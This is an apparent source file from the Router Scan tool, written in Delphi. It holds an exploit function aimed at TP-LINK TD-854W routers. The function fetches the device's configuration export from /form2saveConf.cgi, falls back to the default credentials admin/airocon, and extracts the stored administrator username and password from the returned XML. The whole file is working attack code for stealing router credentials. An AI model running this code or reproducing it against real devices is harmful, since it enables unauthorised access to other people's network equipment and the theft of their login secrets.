// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_TPLINK_Config(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
begin
  // Affected:
  // TP-LINK TD-854W
  Result := False;
  if (Pos('Virtual Web', ServerName)=0)
  and (Pos('Realtron', ServerName)=0) then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/form2saveConf.cgi', S, Code, 8, 0,
  ServerName, UseAuth, AuthUser, AuthPass) then begin
    if Pos('<Config_Information_File', S)=0 then
      GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/form2saveConf.cgi', S, Code, 8, 0,
      ServerName, True, 'admin', 'airocon');
    if (Pos('<Config_Information_File', S)>0)
    and (Pos('<chain N="USERNAME_PASSWORD">', S)>0) then begin
      Result := True;
      AuthUser := DeleteBetween(DeleteBetween(S, '<chain N="USERNAME_PASSWORD">', ''), '<V N="USERNAME" V="', '"/>');
      AuthPass := DeleteBetween(DeleteBetween(S, '<chain N="USERNAME_PASSWORD">', ''), '<V N="PASSWORD" V="', '"/>');
    end;
  end;
end;
